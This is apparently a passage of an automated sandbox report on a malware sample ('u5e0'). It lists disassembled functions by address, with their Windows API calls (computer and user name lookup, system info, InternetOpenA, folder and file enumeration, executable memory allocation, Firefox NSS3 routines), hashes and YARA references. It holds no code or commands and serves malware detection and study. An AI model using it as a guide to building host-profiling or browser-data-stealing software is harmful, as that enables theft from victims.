Instruction Fuzzy Hash: 18F08175D1020866CB18FBB2EC539ED773D9E54348B00425EF81662491EF38A788C6E9

Uniqueness

Uniqueness Score: -1.00%

Function 004147C0 Relevance: 3.0, APIs: 2, Instructions: 17COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00000000), ref: 004147CD
wsprintfA.USER32 ref: 004147E3

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: ae5762f0629c30c52eb39fe9d29b6f6254fbc8fd6ef0ba27fd947bac7523c98c
Instruction ID: d87a4f6b3ea3f44bdf221dc5e2fa01f01132d118a4d77551e5f155a4815ada85
Opcode Fuzzy Hash: ae5762f0629c30c52eb39fe9d29b6f6254fbc8fd6ef0ba27fd947bac7523c98c
Instruction Fuzzy Hash: FAD012B580020C5BD720DBD0ED49AE9B77DBB44204F4049A5EE1492140EBB96AD58AA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000), ref: 0040B190
lstrlen.KERNEL32(00000000), ref: 0040B1A4

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,041F37A0), ref: 00404ED9

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocInternetLocalOpenmemcmpmemset
String ID:
API String ID: 574041509-0
Opcode ID: a6a78ff70d27b61a9f6037f1a30da5da91f984a2f7bb54771162fbb6bc8815ef
Instruction ID: df99340f366afcb3d937a345db0e295b6fae9bf0b5ece921659d29683b3ff0c0
Opcode Fuzzy Hash: a6a78ff70d27b61a9f6037f1a30da5da91f984a2f7bb54771162fbb6bc8815ef
Instruction Fuzzy Hash: 6CE114769101189BCF15EBA1DC92EEE773DBF54308F41415EF10676091EF38AA89CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A6E0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrlen.KERNEL32(00000000), ref: 0040A95A
lstrlen.KERNEL32(00000000), ref: 0040A96E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,041F37A0), ref: 00404ED9

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$InternetOpen
String ID:
API String ID: 3635112192-0
Opcode ID: 7cd8234a4abdb81a99944f9f6d451a59de705a0f1975fd9f1c7cd260678ca252
Instruction ID: 9f23dc4c71334aa449457ef7a0e8bbad4682aa92b3b7ddf60c673b4dae8ee631
Opcode Fuzzy Hash: 7cd8234a4abdb81a99944f9f6d451a59de705a0f1975fd9f1c7cd260678ca252
Instruction Fuzzy Hash: FC9149729102049BCF14FBA1DC51EEE773DBF54308F41425EF50666091EF38AA89CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA20 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrlen.KERNEL32(00000000), ref: 0040AC1E
lstrlen.KERNEL32(00000000), ref: 0040AC32

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,041F37A0), ref: 00404ED9

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$InternetOpen
String ID:
API String ID: 3635112192-0
Opcode ID: 5dd6e1886fe9a9aadc567094d83ba0008eab3b8b6066a721d99fb8c77c53bff9
Instruction ID: 57c8c1270dba92ae3db9aa8e51dd660502e79bf125d10b7c0566732e7217b02b
Opcode Fuzzy Hash: 5dd6e1886fe9a9aadc567094d83ba0008eab3b8b6066a721d99fb8c77c53bff9
Instruction Fuzzy Hash: C07153759102049BCF14FBA1DC52DEE7739BF54308F41422EF506A7191EF38AA89CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004114C0 Relevance: 2.6, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00411550

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 46fcbcde96b391d8a91c7de27c3ae99c7866997ac8e62baa93d065818f15697d
Instruction ID: 8f9af232e05b2939ec69b712380268a2006cbed21c6953bc19412128f28bf8b7
Opcode Fuzzy Hash: 46fcbcde96b391d8a91c7de27c3ae99c7866997ac8e62baa93d065818f15697d
Instruction Fuzzy Hash: 0641F770A00A289FDB24DB58CC95BDBB7B5BB48702F4091C9A618A72E0D7716EC6CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406050 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(004067AE,004067AE,00003000,00000040), ref: 004060F6
VirtualAlloc.KERNEL32(00000000,004067AE,00003000,00000040), ref: 00406143

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a813d0be407c7e97fb4ae0c443796924326960eff0d044c67b11f739482c465e
Instruction ID: 5341a9e810d76a35e886a0404415562c2a616bd51e9685e0b668c9c894d7d0dc
Opcode Fuzzy Hash: a813d0be407c7e97fb4ae0c443796924326960eff0d044c67b11f739482c465e
Instruction Fuzzy Hash: 8341DE34A00209EFCB54CF58C494BADBBB1FF44314F1482A9E95AAB395C735AA91CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00412A80 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00412ABA
lstrcat.KERNEL32(?,041F87D0), ref: 00412AD8

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNEL32(?,?), ref: 004125A0

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: ea1ffac3ae604c61d94c3ab08edcb0d871ee1865e913378f7efedfa2106ffca1
Instruction ID: bcc253f25bf78e1a0e90404f031f6467c50b05fa57c941630bc3dd144581bb5c
Opcode Fuzzy Hash: ea1ffac3ae604c61d94c3ab08edcb0d871ee1865e913378f7efedfa2106ffca1
Instruction Fuzzy Hash: 8701B97A900608B7CB24FBB0DC47EDA773D9B54705F404189B64956091EE78AAC4CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00401060 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040110E,?,?,004136DC), ref: 00401073
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040110E,?,?,004136DC), ref: 004010B7

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 1fafdb83e91c72df66fc5e0dfbe5cc959ff82812f546fe48c521c8e5e261a801
Instruction ID: a2913bed729a6fe358320823385779fc3d8f71f1cc7b0a13f7ab4b92dd49de4a
Opcode Fuzzy Hash: 1fafdb83e91c72df66fc5e0dfbe5cc959ff82812f546fe48c521c8e5e261a801
Instruction Fuzzy Hash: 42F027B1641208BBE724DAF4AC59FAFF79CA745B05F304559F980E3390DA719F00CAA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415490 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d0ebe2fb72674ebe02027a203c9a5e23a0550e75489eb08aacc5631cf77d8e9a
Instruction ID: 7a99a0210fb0b6ed6de77f6d22eec219e0a4aedfc9bcf57955c7481c69c901e8
Opcode Fuzzy Hash: d0ebe2fb72674ebe02027a203c9a5e23a0550e75489eb08aacc5631cf77d8e9a
Instruction Fuzzy Hash: 9BF01C70C00608EBCB10EF94C9457DDBB74AF44315F10829AD82957380DB395A85CB89

Uniqueness

Uniqueness Score: -1.00%

Function 004154E0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: c4deb19243b673a040dfd5fdc436edaecc4a41164842cb033ff61c0adf53a60f
Instruction ID: a2db4f6e5da6e8fb8430e81bb17b8e7aa1674d593408b434fe95881a23a64460
Opcode Fuzzy Hash: c4deb19243b673a040dfd5fdc436edaecc4a41164842cb033ff61c0adf53a60f
Instruction Fuzzy Hash: A8E01231A4034CABDB61DB90DC96FDD776C9B44B05F004295BA0C5A1C0DA70AB858BD1

Uniqueness

Uniqueness Score: -1.00%

Function 00401150 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,041F35B0,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

ExitProcess.KERNEL32 ref: 00401186

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: c5f9d553daa3d293cc675e83c5a49a4e0c2af81821706314cf681e3291f30800
Instruction ID: 69e00d56220517d966a61d162f3bbf9e0969f4784ba4f73569e39f9695f87914
Opcode Fuzzy Hash: c5f9d553daa3d293cc675e83c5a49a4e0c2af81821706314cf681e3291f30800
Instruction Fuzzy Hash: 78E012B5E1070462CA1573B27E06BD7729D5F9930EF40142AFE0497253FD2DE45145BD

Uniqueness

Uniqueness Score: -1.00%

Function 00414FF0 Relevance: 1.3, APIs: 1, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.MSVCRT ref: 00414FF8

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: e14bb29f5c634f52acde74c2c6c6ee0589a433b3a794b1f7692ac0cd2af21e16
Instruction ID: 71a24ea012b18c325b39d17d5ea825459b0100de2daa219f1012b17ed67d7128
Opcode Fuzzy Hash: e14bb29f5c634f52acde74c2c6c6ee0589a433b3a794b1f7692ac0cd2af21e16
Instruction Fuzzy Hash: 1CC012B090410CEB8B00CF98EC0588A7BECDB08200B0041A4FC0DC3300D631AE1087D5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6C114840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6C0F601B,?,00000000,?), ref: 6C11486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6C1148A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6C1148BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6C1148DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6C1148F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6C11490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6C114919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6C11493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C114970
PORT_Alloc_Util.NSS3(00000001), ref: 6C1149A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C1149AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C1149D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6C1149F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6C114A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6C114A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6C114A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6C114A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6C114A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6C114A81
free.MOZGLUE(00000000), ref: 6C114AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C114ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6C114ADC
free.MOZGLUE(00000000), ref: 6C114B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C114B33

Part of subcall function 6C114120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C11413D
Part of subcall function 6C114120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C114162
Part of subcall function 6C114120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C11416B
Part of subcall function 6C114120: PL_strncasecmp.NSS3(6C114232,?,00000001), ref: 6C114187
Part of subcall function 6C114120: NSSUTIL_ArgSkipParameter.NSS3(6C114232), ref: 6C1141A0
Part of subcall function 6C114120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C1141B4
Part of subcall function 6C114120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6C1141CC
Part of subcall function 6C114120: NSSUTIL_ArgFetchValue.NSS3(6C114232,?), ref: 6C114203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6C114B53
free.MOZGLUE(00000000), ref: 6C114B94
free.MOZGLUE(?), ref: 6C114BA7
free.MOZGLUE(00000000), ref: 6C114BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C114BC8

Strings

hasRootCerts, xrefs: 6C114AD6
timeout, xrefs: 6C114A38, 6C114A7B
askpw, xrefs: 6C114A4A
every, xrefs: 6C114A66
rootFlags, xrefs: 6C114AB9, 6C114B2E
slotFlags, xrefs: 6C114A22
hasRootTrust, xrefs: 6C114B4D

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: 63d1669f618353ab239099ec54fbbf48cdffc20ec55335850c78ac2af9d37884
Instruction ID: c819f0e0cd43446b20d2f753a8ae742d52dc3bca8bd562ef33ce66f193c761e7
Opcode Fuzzy Hash: 63d1669f618353ab239099ec54fbbf48cdffc20ec55335850c78ac2af9d37884
Instruction Fuzzy Hash: F5C127B4E092558FEB10CF689C44BAE7BB4AF16A0CF150039EC45A7F41E339DA14C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 6C106C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C0B1C6F,00000000,00000004,?,?), ref: 6C106C3F

Part of subcall function 6C15C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C15C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C0B1C6F,00000000,00000004,?,?), ref: 6C106C60
PR_ExplodeTime.NSS3(00000000,6C0B1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C0B1C6F,00000000,00000004,?,?), ref: 6C106C94

Strings

gfff, xrefs: 6C106D30
gfff, xrefs: 6C106D9C
gfff, xrefs: 6C106D66
gfff, xrefs: 6C106CFD
gfff, xrefs: 6C106CF5

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 22e5291a71405d9d34381370c3b16f49384da864e56248958e3fc227cf6d0395
Instruction ID: 5ab82d6ce87ed37f025af39bc3c8026aec79f73cbcb7808b4f9de5175ca14466
Opcode Fuzzy Hash: 22e5291a71405d9d34381370c3b16f49384da864e56248958e3fc227cf6d0395
Instruction Fuzzy Hash: 17515D72B016494FC70CCEADDC527DAB7DAABA4310F48C23AE841DB781DA78D946C751

Uniqueness

Uniqueness Score: -1.00%

Function 6C1C8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C2114E4,6C17CC70), ref: 6C1C8D47
PR_GetCurrentThread.NSS3 ref: 6C1C8D98

Part of subcall function 6C0A0F00: PR_GetPageSize.NSS3(6C0A0936,FFFFE8AE,?,6C0316B7,00000000,?,6C0A0936,00000000,?,6C03204A), ref: 6C0A0F1B
